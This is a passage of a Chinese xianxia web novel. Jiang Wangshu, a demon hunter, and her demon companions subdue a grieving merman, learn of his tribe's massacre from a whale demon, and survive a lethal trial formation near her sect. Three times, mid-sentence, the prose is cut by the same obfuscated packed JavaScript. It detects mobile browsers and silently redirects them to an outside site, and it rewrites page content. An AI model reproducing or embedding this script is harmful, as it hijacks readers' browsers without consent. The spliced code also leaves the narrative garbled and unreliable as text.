而且女性鲛人还一直跟着男性鲛人。 就这样,姜望舒他们跟着男性鲛人来到一处全是乱石的地方,在那堆乱石中间,全是一团团鱼卵。 他停了下来,一时间没有动作,久到姜望舒甚至以为他发现他们了,没想到他只是痛哭起来,这一次是真真切切地哭,哀恸的声音传出。 虽然这样趁人之危很不道德,但现在的确是最好的抓捕他的时机。 姜望舒没有什么犹豫,直接就想要出手,可这毕竟是在水里,她的长鞭受到水的阻力太大,导致速度慢上许多,被鲛人察觉到后直接躲开了,这一举动显然激怒了他,他张嘴高喊了几声,姜望舒顿时觉得头晕眼花。 在水中,她的行动受到了很大的限制,符纸不能用,就连长鞭也会减缓速度,消消的修为与鲛人相差也很大,明显是打不过鲛人的。 无奈,她直接转身向后游去,动作迅速塞给祁辰和消消各一个符纸,两只妖很有默契地将符纸贴到自己的后背上,就在鲛人快要追上三人的时候,她突然不逃跑了,转身冲鲛人笑。 笑容得意,晃神看去居然有祁辰一般嚣张的影子。 鲛人顿感不妙,想要拉远他们之间的距离,按理来说,他在水中近战能力是很强的,可是生物的本能让他觉得,现在必须要逃跑了。 “还想要跑?” 姜望舒直接向水中扔出数道符纸,令人意想不到的事,这符纸竟然直接融化进水中,随后,数十道电流在海水中猛窜,她和祁辰、消消三人早就贴上了隔绝符,自然不会被电,但是对面的鲛人就没这么幸运了。 他的尾巴上顿时噼里啪啦地响了起来,发出几声惨叫,就在鲛人被电流缠住的空档,就这点电力是无法真正收服有千年修为的鲛人的,姜望舒立刻甩出手中长鞭,长鞭上还有其他符纸的加持,想要将他彻底收服。 变故就是在这时候发生的,之前的那道女性鲛人身影突然出现了,只是几个呼吸间,鲛人的尾巴就恢复如常,好在长鞭已经有惊无险地捆上了他。 抓住了! 还没等姜望舒高兴,更远的深处突然传出一阵怒吼:“本座看谁敢动本座的朋友?” 话音刚落,一股强大的冲击袭来,祁辰及时出手,一股强大的屏障将三人护在里面。 “罗落。”祁辰淡淡道。 远处的声音似乎停顿了一下,之后,声音变得激动起来:“你……你是祁兄?天啦,咱们俩相隔那么远,你怎么有空来我这里了。” 一道光射了过来,顿时将众人全部笼罩在内。 “快来,快来哇~” 声音的主人还在不断催促,祁辰看向姜望舒,撤掉身上的妖力,示意他们可以直接沿着这束光柱走,在光芒中,他们可以正常呼吸,海水进不来。 不多时,姜望舒的目光被远处的轮廓所吸引——那是一艘沉船,静静地躺在海底,它的轮廓在海水中若隐若现,船体被海水侵蚀得斑驳不堪,红褐色的铁锈覆盖在坚固的外壳上。 离得近了,姜望舒才发现船体上还有许多海藻。 光芒到这里就停下了,三人面面相觑,几脸茫然,所以,鲸妖的家在哪里呢?这时候,只有一个真正来过这里的明白人,不过他还被姜望舒的长鞭绑着。 “看到那群发光的微生物了吗,在那底下。”男性鲛人出声提醒。 姜望舒了然,很有礼貌地冲他点头:“谢谢,不过还是不能放开你。” …… 祁辰一袖子直接把那块地方给炸开了,微生物顿时四散而逃,沙尘退去后,一个小房子露了出来。 姜望舒不禁感慨,这鲸妖住的地方还真是隐蔽,先是旁边有一艘沉船,吸引别人的注意,其次,还有一群发光的微生物通风报信用的,最后,还需要砸开这一层,才能找到他的房子。 神奇的是,这里和地面上没有什么区别,他们可以正常呼吸,整个空间都是由鲸妖的妖力维持的,男性鲛人的尾巴也自动转换成人的双腿,和他们一起走进去。 这栋房子一共有两层,第一层是主厅,非常宽敞,有坚硬的岩石构成,上面镶嵌着一些发光的宝石,这些宝石能够发出柔和的光芒,模拟自然的光线。 姜望舒细心地发现墙壁上还覆盖了一层薄薄的海苔,这些海苔不仅美观,还能吸收声音,让整个空间更加安静。她倒是觉得这小房子不错,主要是她其实很喜欢一些亮晶晶的东西,就如同这宝石一样。 再往里走,有一片柔软的海底沙地,他们等了一会,还不见人出来。 姜望舒一时找不到什么词语来形容鲸妖,如果直接叫人妖怪不太礼貌,最后斟酌着语句,问祁辰:“那位…..前辈呢?” “哼,咱们人太多了,他害怕了。”祁辰冷笑。 姜望舒&消消:? 你说谁害怕?他?难道该害怕的不是我们吗? 男性鲛人冲里面喊道:“前辈,您快出来吧!” 良久,一个胖乎乎的身影终于还是出现了,骂骂咧咧地说:“我说沧源,你这臭小子,又到处给我惹祸,我好不容易有你这么个看顺眼的晚辈,你是真的……” 触及到众人的目光,他似乎瑟缩了一下,但还是数落道:“一下子给我带来这么多人!” 见到鲸妖之后,姜望舒终于明白当初为什么海妖没有参加人类和妖族的大战了,就这?整个深海住处都充满了神秘和安静的氛围,完美契合了他社恐死宅的性格。 接着,鲸妖一转头看到祁辰,眼前顿时亮了起来,似乎是想走上前拉住祁辰,但到底站住了脚。 认识他这么多年的祁辰无奈地叹气,主动走过去,对他说:“我说罗老家伙,这么多年了,你这腼腆的性格什么时候能变一变。” 罗落挠挠头,嘿嘿一笑,把众人领到一个专门的许西去,这里有几把用珊瑚和岩石搭建的凳子,上面铺着一层厚厚的海草垫子,在旁边的收物架上摆放着一些深海生物的标本。 这时,姜望舒突然收到一道幽怨的视线,这才反应过来自己还绑着沧源呢,有些抱歉地笑笑,然后给他松绑。 “来,请你们喝,这次来找我是所为何事啊?”罗落给他们倒了喝的,每个人杯子中都装了一杯香甜的酒水,只有消消还是未成年,杯子里装的是饮料。 祁辰拿起来抿了一口,他并不喜欢酒水,容易醉。 “你可知道这条鲛人做的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346727|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情?” 罗落茫然地摇摇头,看向沧源,示意他来说,可是后者仍然紧闭着嘴,一句话都不说。 “还是我来说吧!”见众人都安静下来,姜望舒主动开口打破僵局,于是,她将来到这的原因以及之后和祁辰在渔村的经历说了出来。 听到这些事情后的罗落显得十分气愤,但是这气愤中居然夹杂着一些怜悯。 “你怎么能做这种事情?过去已经无法改变,你就算这样做,鲛人一族也无法回来了……如果你妹妹知道了,一定不会安心离开的!” 听到这些话的沧源情绪也有些失控,克制不住地低喊:“那是他们活该!渔村里所有人都该死!所以我复制曾经海底宫殿中鱼们的鱼卵,让他们孵化,呵,想要哺育我们鲛人的后代,他们还不配!” “孩子,该受到惩罚的人已经死了,这些人都是无辜的后辈……”罗落长叹一口气。 祁辰慢悠悠地又拿起酒杯看戏,姜望舒慢悠悠地再拿起酒杯看戏,消消慢悠悠地抱着饮料杯看戏。 “所以……冒昧问一句,到底发生了什么?” 早在几百年前,鲛人一族的繁盛景象还未消散,废墟也不是废墟,而是巍峨壮丽的水下宫殿,由无数晶莹剔透的珊瑚、闪耀光泽的珍珠贝壳以及坚固的深海盐是巧妙堆砌而成,无数条色彩斑澜的鱼儿穿梭其间。 鲛人族的成员们,个个容貌绝美,身材修长,下半身是各种颜色的鳞片,或深蓝如夜海,或翠绿如碧波,或绯红如朝霞,他们的社会制度和人类的皇宫差不多,沧源就是当时的王子,他还有一个妹妹,名字叫做沧音,是唯一继承占卜之术的鲛人。 尽管鲛人的栖息地在深海之中,按理说和渔村里的人不会有任何纠葛,但是多年前,他们鲛人一族曾受到风浪影响,没有找到食物,先祖曾受到渔村人民的照拂,所以每一代的鲛人皇室都要有一位去到岸上保证渔村的安全。 彼时,沧音对人类世界很是好奇,心地善良,厌倦了海底下的生活,所以主动要求到岸上去,就这样,渔村里建了新一代“海神”的雕像,也就是鲛人的妹妹。 原本,日子就这样日复一日平静地过下去,可是,沧源永远也无法忘记那一天。 鲛人们每年都会有庆典日,寓意着感恩海洋,追求自由的生活态度。就是在那场庆典上,鲛人族的男女老少齐聚一堂,身着华丽的服饰,载歌载舞,歌声婉转悠扬,似海风呢喃。 “但这一切,都被那一连串的毒气弹破坏了,”沧源的声音沉痛又愤恨,“我永远都无法忘记那一天!一群捉妖师,紫袍捉妖师,他们之中有的已经达到能够收服千年妖怪的修为……” 他的声音近乎失控,声嘶力竭地喊:“为什么!我不甘心!我的族人就这样倒在我的面前!我带着数十人一同去御敌,我问他们是如何来的,可我眼尖地发现人群中被绑架的妹妹!” “是那群村民交出的妹妹,他们背叛了我们,妹妹临死前说,村长与捉妖师们做了交易,只要找到我们的住处,我们所有的名贵的珍珠、价值连城的鲛纱、五光十色的宝石等等全都会给他们。” 鲜血染红了海水,一条条鲛人就这么倒在他的面前,有的甚至直接被抓走,最后,他被族人簇拥着,成功逃掉了,可是当他再回到宫殿,一切都成了废墟。 听着沧源的描述,姜望舒的心好像被一把无形的利刃狠狠地剜了一下,那种疼痛瞬间蔓延到全身,直至灵魂深处,但仅仅是一瞬间就恢复了正常。 罗落缓缓拍他的肩膀安慰:“不要哭了孩子,当年那群捉妖师跑的快,等我赶到时已经毫无踪影,可是所有勾结捉妖师的渔民都被我杀掉了,现在剩下的也不过是一些无辜之人。” 自此,罗落就时常关注鲛人一族的栖息地,对这条仅剩的鲛人格外关照。 “或许你的妹妹并没有死,因为刚刚我们似乎看到她了,在水中的电就是她帮你解开的,还有广场上的雕像,你可能不知道,你的妹妹知道你的所作所为,所有祭拜过雕像的食物都可以解除你的控制。”姜望舒开口道。 沧源漆黑的眼眸中终于有了一些光彩,急切地问:“你是说,我妹妹还活着?” “当然,我也只是猜测。”姜望舒并没有给他准确的答复,如果解除他控制这件事情不是沧音做的,那还会有谁呢?更何况,他并没有亲眼看到自己的妹妹死亡。 只是,一股不太好的预感涌上心头,刚刚沧源提到毒气弹,但愿是她想多了。 “既然这样,那我们就去看看那雕像到底是什么情况,只是,沧源到底是犯下不可饶恕的过错……”罗落有些犹豫地说。 姜望舒及时开口:“没关系,还希望罗前辈能够及时解除对渔村的控制,我们此次前来并不是来替天行道的,相信您可以自行处置。” 这下,就连祁辰都有些怪异地看了姜望舒一眼,他本以为姜望舒会替天行道,垂手坐观乱世不是她的作风,所以这次,连他都有些看不懂姜望舒了。 要说她这个人,和别的捉妖师的确有些不同,本质上没有那么强烈的收妖欲望,什么遇到霍乱人间的大妖,除非真的触动了她的心弦,过于伤天害理,否则别人的恩怨是与她无关的。 世人的枷锁太多,口中喊着什么正义啊大道啊面子啊,而她是轻盈的,合该免受尘事烦扰,如此,她内里的气质倒和祁辰很是相像,自歌自舞自开怀,无拘无束无碍。 “等等,”祁辰拦住众人的脚步,“罗老怪,我还想向你讨要个东西。” 31. 游踪问寻(三十一) 听到这话,罗落立刻就懂了,凭借这么多年的相处经验,他在众人疑惑的目光中,熟练地打开储存室的大门,门后是他从海底收集的各类宝藏,有形状奇特的水晶、古老的沉船残骸碎片等等。 罗落嘴里还在嘟囔:“不是我说你,越来越奇怪了,自从几百年前你醒过来,修为大幅度退散不说,还各处收集宝石,要不是我熟悉你的妖力,都以为你被人冒充了。” 祁辰直接从其中拿出了碧海,正是姜望舒需要的材料,又挑出了一块白色的水晶,而后不在乎地笑笑:“有谁能冒充我呢?就算我修为退了不少,但仍然是四大妖王之一。” 罗落眼睁睁看着碧海就这么直接被送给了姜望舒,感到一阵肉疼,忍不住说:“这碧海可是鲛人族盛产的,如今鲛人一族可能只剩下沧源一条鱼,所以碧海越来越珍贵,要不换一个吧?” 祁辰挑眉,口型说着:不。 凉风刮过,吹散了罗落心底最后一丝念想。 “那你下次记得多给我带点葱雾森林里的草药,大补的那种!” 姜望舒和几只妖又一起回到了渔村,为了不被别人发现,罗落和沧源幻化成普通人的形象,就连姜望舒自己都在感慨自己明明是捉妖师,出来游历,身边围绕的妖怪比捉妖师还要多。 此刻,广场上的沧音石像不知何时回来了,空洞洞的眼睛仍然注视着几人,只是这次不知道怎么,明明是用冰冷的石块雕刻而成,姜望舒却从她面庞中看出了些许温柔。 怎料在沧源走近石像后,一个幻影从石像中飘落出来,是沧音的幻影。姜望舒这才得以看出,和他哥哥一样,她也有着幽绿色的眼眸,行为举止也比石像雕刻出的形象更加生动,来来往往的行人似乎都看不到她,只有姜望舒几人能见到。 沧源直接钉在原地,动弹不得,不敢相信眼前真的是自己的妹妹。 “哥哥,停手吧,好好活着,我在等你,记得来找我。”沧音的幻影向他绽放出一个笑容,随后便溃散四处,再也无法聚拢起来。 沧源顿时红了眼睛,连声答应,只以为她在那边想念他这个无能的便宜哥哥,但又想让他好好活着,愿他能晚点去找她。 一侧的姜望舒思路却转了个弯,看问题比当事人更加理性,抛却情感来谈,沧音的话显然前后矛盾,顿时觉得有一些答案似乎呼之欲出,只是在没弄清楚之前,她还不敢确认,她还需要等待沈墨尘的回信。 等等,沈墨尘的回信?!过去了这么多日,她还没收到信,这才突然想到,没有任何人知道她的行踪,所以就算沈墨尘给了回信,纸仙也找不到她,最有可能去的地方反倒是……流云派! 云海翻涌,姜望舒、祁辰和消消并肩而坐,脚下是一条巨大的鲸鱼,它并非是生灵,而是由纯粹的妖力凝聚而成,身形庞大,通体散发着淡淡的蓝光,如一尊流动的光影。 鲸鱼在空中划过时,还会带起一阵阵妖力的波动,如同掀起一阵阵浪花。 路途遥远,流云派隐匿于山涧之中,且到了连云峰后就设有结界,这条鲸鱼的妖力太过明显,进不去的,这让姜望舒第一次觉得三师姐苏梓设计出的令牌在这一刻显得多么实用,即使它的速度很快,却也需要数日才能抵达。 “你真的要跟我一起回宗门?”这是姜望舒一路上第二次提出这个问题了。 第一次的时候,祁辰笑眯了眼,饶有趣味地冲她点头,她还觉得这位妖王是一时兴起,可是眼见已经飞出葱雾森林的范围了,他还是跟个大爷一样悠闲看风景,姜望舒终于还是忍不住再问一遍。 他们的衣袂在风中飘扬,一同向着那片熟悉的山川与云海,缓缓飞去。 “嗯,我就去看几眼。”祁辰手撑着下巴回答道。 看几眼?真的是没事来参观的?他们宗门什么时候成了旅游打卡地了? 姜望舒疑惑问:“你看,你身为一妖之王,难道没有什么需要治理的事情吗?所谓不能一日无主,就是这个道理。” 祁辰摆手,很是豪爽地应道:“没事,不需要。” 这下轮到姜望舒犯愁了,万一宗门里有其他师兄师姐们,她又该如何解释身边这一大一小呢? 似乎是看出了姜望舒的为难,祁辰神秘兮兮地凑过来说:“你是不是担心回去没办法交代我和消消的身份?无妨,我可以牺牲一下,大不了说这孩子就是我们俩的。” “小爷觉得行。”正惊叹于各种景色消消随口插了一句,能成为妖王和望舒姐的干儿子,以后黑白两道都有人罩着他,何乐而不为? 不难理解,一滴水第一次走这么远的门,早就忘了当初想要寻到新的一片栖息地的事情,心都玩散了,现在只想跟着姜望舒到处乱跑。 姜望舒一口气没提上来,就这么呛到了,怒瞪了祁辰一眼,就转过头不再搭话。 有祁辰和消消在身边插科打诨这一路倒是飞的有滋有味。 夕阳时刻,他们终于到了连云峰,可是姜望舒从来都没有走过这里啊!她的活动范围最多也就是宗门那一座山走一走,再不济就是用三师姐的令牌、四师兄的蝴蝶妖,这也是她第一次真的要在一群山峰中找自己的宗门! 尽管她并不是很认识路,但也不愿意表现出来,全程就是一个敢指路,两个敢听,好在消消比较傻,并没有发现自己在兜圈子,祁辰典型的看破不说破,这倒是姜望舒更好地发挥起来了,基本是指哪打哪。 “这果子能吃吗?”姜望舒举着一捧野果问祁辰,她没有什么生活在山野中的经验,祁辰应当是最为了解这山中之物的。 祁辰挑出她怀中红色的果子,把玩在手中,说:“你们这连云峰奇珍异果倒是不少,这颗灵果吃下后有助于修炼的时候稳定心神。”说完,他将果子递给姜望舒。 看来这连云峰有很多修炼的宝贝,姜望舒平日里和师兄师姐们光顾着吃喝玩乐了,都没有注意到这些。 “看!这都是小爷摘得,如何?”消消一脸得意地展示着自己刚刚采摘下来五颜六色的果子,“好看得很。” 没想到,祁辰看都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356197|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看一眼,直接扔下一句:“毒果,吃不得。” 消消:? 日益相处,他的胆子也大起来,不像最开始那样恭敬,更何况现在姜望舒也在呢,他正要愤愤不平,叫嚷着:“你!你都没看,怎么我的就是毒果,望舒姐的就是灵果?啊——” 话音刚落,就发出一声惨叫。姜望舒惊悚回头,原以为是消消终于被欺负得狗急跳墙了,哪里有压迫哪里就有反抗,结果发现他直接表演了一个原地消失术,失足落入一个巨大的坑洞之中。 彼时,他们距离流云派不过一座山的距离,姜望舒困惑不已,这座山她也来过,只是没见到过居然还有大坑。 姜望舒不假思索地朝洞内喊道:“消消!能听到吗?” 没有回应,洞内黑漆漆的,看不清深浅,姜望舒和祁辰互相对视一眼,紧接着,她就纵身越了下去,祁辰也跳了下去,这个洞很深,她和祁辰正努力稳住身形,不至于落地的时候速度太快,冲伤自己。 约莫又过了十几秒,他们终于落地,视野一下子变得开阔起来,只是四周还很漆黑,就在姜望舒随手点燃一张火符箓时,祁辰也从口袋中掏出一个宝石,散发出来的光芒比火符箓还要稳定。 之前也没发现他有随手掏宝石的习惯啊?姜望舒眼睛都亮了。 两人侧头看去,除了光秃秃的石壁之外什么都没有,再往前走,气温逐渐降低,空气中有一股潮湿的味道,洞内的地面不满了大小不一的石块。 由于不知道前面是什么情况,姜望舒贸然出声,下意识地放轻步伐向前走,反观祁辰,像是个老大爷一样,毫无负担地逛着,这松弛感,让姜望舒也不由自主的放松下来。 随着深入,前方的顶部和地面之间悬浮着一块块发光的石块,在石块四个角的地方画着奇异的符文,如同活物般,居然会移动,排列成一个复杂的阵法。 如果今日来的不是流云派的弟子,或者说来的不是姜望舒,那么这个阵法就未必会被破除,姜望舒仔细观察着这个古老的试炼阵法,脑海中突然想起自己在流云派藏书阁内看到的书,有一本记录过这种情况,名曰迷途阵。 “诶呦,痛痛痛!”就在姜望舒专心回忆的时候,突然从旁边跳出一粒小水滴,化身回男孩形态,指着那阵法说:“你们终于来了,小爷刚刚不知道怎么就掉下来了,然后就被这几块石头烧到了。” 烧到?难道是火?每种阵法都有自己的属性,金木水火土是最为基础的,在此之上会衍生出其他种类的,例如电、雷、冰等,只要看透算法,就可以轻松破解。 而迷途阵难就难在,他的阵法是变幻的,所以属性也是不停地变着的,往往还没有依照之前的方法解开,就要变换新的算法,而这时候,人已经进入阵中,解阵失败,就会受到攻击。 现在,姜望舒想要先确定一下,于是她弯腰捡起一把石头,拿出一块扔进阵法中,滚动的石子立刻被绞碎,眼尖的姜望舒发现在碎掉之前,它上面先是覆盖上了一层霜,这就意味着此刻是冰。 32. 游踪问寻(三十二) 祁辰和消消有默契地站在一旁,并没有打扰她的动作,祁辰立刻就明白她的意图,也弯腰捡起一些石子,不断扔向阵法的角落。 有了祁辰的帮忙,姜望舒显然轻松很多,但是也并没有松懈下来,眼睛紧盯着飞进去的石块,只有消消并不明白阵法成型的原理,所以只能站在不远处看着两人的举动,没有出声打扰。 终于,在一块石子被抛出后,姜望舒猛地冲了进去,祁辰没有任何犹豫,紧跟着她进去了,进去之前还回头冲消消摆手,示意他在外面等着。 趁着阵法还没变化,姜望舒的每一步都必须迅速又小心,稍有不慎,就会触动阵法的禁忌,而祁辰几乎是贴在她的身上行动,两人速度快到出现残影。 眼看着就要走出去了,突然姜望舒停下脚步,脸色一变,苍白没有血色,祁辰预感到什么,立刻释放妖气支起屏障,下一刻,无数道锋利刀刃般的攻击落了下来。 怎么会!? 姜望舒的内心慌乱一瞬,她明明破解了这个阵法,但是由于距离的原因,看不到最后面的灵石法阵,可是,最后的这块石头居然是无解的?无论她如何推算,最后都是死局。 难道是设阵人是故意引诱外人进入,最后绞杀致死? 不断的攻击消耗着祁辰的妖力,这还是姜望舒第一次见到祁辰脸色变得如此严肃,她知道,这个阵法很强,作为主动入阵的人,祁辰撑不了多久。 她毫不犹豫地将狐狸袖针摘下带在祁辰的手上,暖色的灵力缓缓注入他的身体,尽管微弱,但也算聊胜于无,缓解了他的一些压力。 “终于察觉到我的好了,这算是定情信物吗?”,看到姜望舒低头戴袖针的模样,祁辰居然笑了,挑眉打趣道。 姜望舒擦了擦头上冒出的冷汗,瞪了他一眼:“都什么时候了,别开玩笑。” 话音刚落,祁辰便痛得闷哼一声,立刻引得姜望舒担忧的目光,他眼中闪过不忍,调节气氛似的嘿嘿一笑:“不要害怕,我会一直陪着你的,咱俩也算是同生共死过了,” 良久,姜望舒还是没有找到解决办法,她低下头去,声音很低:“抱歉,向左是死路,无法出去,而向右是生路,最后一块灵石,必须牺牲一人才能过,如若刚刚只有一个人进来,那么就会是无法通过,好在我们有两个人进来,总归会有一个人出去看看里面到底是什么。” “行,那我选择右面。”祁辰仔细打量着她的神情,略微犹豫地说。 相处那么久,他大概能识破姜望舒的小伎俩,果不其然,她的脸色变得苍白,似乎是想要阻止,可却没能拉住他的衣袖,也就没有看到身后姜望舒扬起的嘴角,当他穿过迷途阵时,面前是一座古老的石台,顿时,他意识到自己被骗了。 祁辰猛地转过身去,只见姜望舒还立在原地没有动,他的心,像是被一把锋利的匕首狠狠地剜去了一块,鲜血淋漓,痛得他几乎无法呼吸,万年来,从来没有任何一刻让他感到如此恐惧。 零零散散的画面飘过脑中,皆是姜望舒了无生气地从空中坠落。 要说祁辰很了解姜望舒,可是这一路走来,姜望舒又何尝不了解祁辰的性格呢?他一定会认为自己是在骗他,所以这一次,是姜望舒赢了,代价却是自己被困。 “姜望舒!” 祁辰的声音很愤怒,刹那,他体内的妖丹亮起,巨大的妖力冲击向阵法,可却都在进入阵内的那一刻烟消云散。 “他妈的,这破阵法是怎么做的,居然破坏不了!” 第一次,他在姜望舒面前爆了粗口。 此刻在阵中的姜望舒却一脸释然的模样,冲他歪了歪脑袋,乌黑的长发在脑后跟随她的动作晃动,淡然一笑道:“你看,你骗了我一次,所以我也骗了你一次,我们扯平了。” “姜望舒,你有心吗?我送给你那么多宝贝,我们没有扯平,永远都不会扯平!” 祁辰的声音已经变得歇斯底里起来,不知为何,他的脑子中涌现出各种片段,全都是姜望舒浑身是血的样子,已经快要逼疯他了,一时难以分清现实还是幻境,他的脑袋飞速运转,不断告诉自己要冷静,只是颤抖的双手暴露了他内心的不平静。 现在唯一的办法就是自爆妖丹,他万年妖丹的威力应当足以炸掉这个试炼,只是他没有办法保证妖丹炸裂后是否会伤害到里面的姜望舒,没关系,黄泉路上,他们会再次相见。 姜望舒的灵力没有祁辰的妖力雄厚,支撑的时间自然也很短,阵外的祁辰眼睁睁地看着利刃落到姜望舒的身上,鲜血淋漓,一道道红痕落下。 太疼了,姜望舒的表情有些破裂,妈的,也没人跟她说有这么痛啊!她只感觉自己的身子一软,然后就跪倒在地。 在另一边,消消看不到这边的情况,但听到两人的动静,敏锐地察觉到事情不妙,三番五次想要冲进阵法中,但都被打退,强烈的自责涌上心头,如果不是他不小心掉进来,那么望舒姐也不会出事。 他们妖怪最讲究报恩了,之前姜望舒曾经保护过他很多次,他不能不管这个捉妖师姐姐,于是又一咬牙,向阵法内冲去。 终于是支撑不住,姜望舒跪倒在地上,喉咙用上一股腥甜,一口血吐了出来,好巧不巧,有几滴血液溅到最后一块石头上,意想不到的事情发生了,法阵的四角传来一声轻微的“咔嚓”声,整个阵法的光芒瞬间暗淡下去,完成了它的使命。 彼时的祁辰已经有了决断,大量的妖力涌入胸前若隐若现的妖丹,如同太阳般灿烂的绿色光芒照亮了整个山洞,就像夕阳余晖落下那般绚烂。 在看到姜望舒出来的那一刻,他骤然停下来了。 下一刻,姜望舒落入了一个火热的怀抱中,祁辰的体温似乎有些高,带着好闻的草木香,他的怀抱越来越紧,姜望舒感觉自己被烫到了一样,下意识向后瑟缩一下,却又被紧紧揽住。 感觉到祁辰的身体有些微微颤抖,她忍着痛,呲牙咧嘴地抬手一下一下地拍他的后背,轻哄道:“好了好了,我没事了。” 她刚刚出来的时候不是没有看到祁辰胸前若隐若现的妖丹,聪明的姜望舒一下子就猜到了祁辰的意图,他是想要自爆妖丹,以此破阵。 妖丹,就相当于妖怪的心脏,没有心脏,就无法存活。 另一边的消消终于能看到这边的情景,他的一条胳膊不小心摔断了,但看到姜望舒和祁辰正安然无恙地抱在一起,终于忍不住“哇”地哭出声来,直直跑过来抱住姜望舒的腿,哭的乱七八糟的。 良久,姜望舒无奈地推开祁辰,又摸了摸消消的脑袋,无奈道:“好了好了,我真的没事。” 两人都没有反应,直到姜望舒开始喊:“哎呦,不行不行,我的伤口好痛。” 祁辰终于有了反应,好像是从梦魇中清醒过来,眼中的墨绿色渐渐褪去,有些呆愣地问:“哪里?” 柔和的妖力从他的手掌中溢散出,他手掌经过的地方,姜望舒的伤口尽数愈合,是最简单的治愈术法,只能治疗皮外伤。 “好啦,不痛了。”几个呼吸间,姜望舒拦住了他想要继续的手,“其他地方都是小伤,我们还是再往里走走看看山洞中到底有什么吧,我直觉这个地方或许和流云派的出现有关系。” 祁辰的内里的消耗不比她少,先是在针法中苦苦支撑,接着又汇聚所有妖力冲击妖丹,现在又要榨干体内的妖力帮姜望舒疗伤,无论是从精神还是身体上,早已疲惫不堪,反应自然也迟钝起来。 终于,祁辰似乎是回过神来,又恢复成之前的模样,只是还有些笑不出来,想要重新带上那惯用的漫不经心的表情,可惜嘴角不上不下的,白白糟蹋着这张帅脸,一低头看到姜望舒腿边还有个小家伙正哭哭啼啼地停不下来,脸直接黑下来,直接将消消拉开。 眼见两只妖的情绪都恢复正常,姜望舒沿着通道继续前行,她也看到那座古老的石台,上面什么都没有,再往里面走,上方悬挂着一颗巨大的夜明珠,照亮了整个空间。 一座座石台出现在他们面前,石台由整块玉石雕琢而成,散发着温润的光芒,在最里面的那一座上摆放着一本泛着金光的古籍,书页在自发地微微翻动,如同有生命一般。 在古籍的旁边,还放着一个木盒,盒子上刻着一朵莲花,正向外溢散着淡淡的灵气,三人重振精神,警惕地走过去查看。 也是难为消消了,个头还没有石台高,只能使劲踮脚,伸长脖子去看台子上的东西。 “什么嘛,这书上什么都没有,害得我们白费功夫!”消消看了古籍一眼,努嘴,“说不定木盒子里有好东西呢?我闻到这木盒子香香的。” 行走的探测仪依旧稳定发挥,姜望舒冲消消比了个大拇指,也走过去观察,可在姜望舒的眼中,那古籍分明是有字的,书的四周似乎并没有结界,她伸手想要将书拿下来好好看看,就在双手碰到书的瞬间,前方出现了一道人影。 那是一个仪态庄重的老者,尽管脊背略显佝偻,但仍然能感觉到他的风骨,他的面容刚毅,剑眉斜插入鬓,一双深邃的眼眸中燃烧着炽热的火焰。 老者的手中还握着一柄长剑,剑身泛着寒光,在剑柄上有一个标志,中间是一座青山,两侧还跟着两座小山,上方是飘渺的云雾,姜望舒一眼就认出来这是青天派的标志,只是她还猜不出面前是青天派的哪位长者。 见到姜望舒盯着前方不动,祁辰困惑地问:“你在看什么?” 姜望舒转头看向他,问:“你和消消难道看不见吗?” “看什么?” 对上两张迷茫的脸,姜望舒这下确认了,这个身影真的只有自己能够看到,她恭敬地向前行了个礼道:“前辈好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378421|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,晚辈不小心闯了进来,还望您多多包涵,如有冒犯,我们可以立刻就离开。” 祁辰和消消看到姜望舒的举动,立刻确定了她能看到前面有人,神情也变得严肃起来,不自觉站得离姜望舒近了些。 老者看到这一切,笑了笑说:“看来你找到了值得信赖之人,不对,应该是妖才对。” 姜望舒左右侧头与两只妖对视,而后回应道:“的确是这样的,无论他们身份如何,但都是值得信赖的。” “既然如此,我也就可以放心了,丫头,我是沈天,你既然能来到这,并且看到我,足以说明你是我的后人,老夫不知道现在已经是何年月,人类和妖族现在相处如何?你是否识得隐居仙人呢?” 沈天?那位青天派的创始人?她居然是创始人的后代,魂穿后,我真的成了青天派创始人的后人?原身原来这么厉害的吗,不知道她又是怎么被师父师娘捡来的。 只是她终究不是真正的姜望舒,这副皮囊、大家对自己的宠爱,甚至于祁辰,可能都是她偷来的。 她早就发现自己的记忆已经出现混乱了,时常分不清现实和虚幻,就连原来生活的细节都记不得了,她不是没想过去寻找自己魂魄穿过来之前的家,可是却根本无从找起。 她到底来自于哪里,为何山川之广,寻不到一个玄鹤镇呢?既然寻不到,她又为何对世间的事情有所了解,外界却根本不知道自己的家乡。 想到这里,她原本喜悦的神情无影无踪,只是仍然充满敬意地说:“人间和妖族百年来仍然相安无事,不知道前辈说的可是我的师父和师娘,他们曾经被称作隐居仙人。” 沈天摇摇头,否认道:“隐居仙人应当只有一位,既如此,可能你的师父师娘是隐居仙人的后人吧,看来距离我离开真的过去了很久,早已物是人非。” 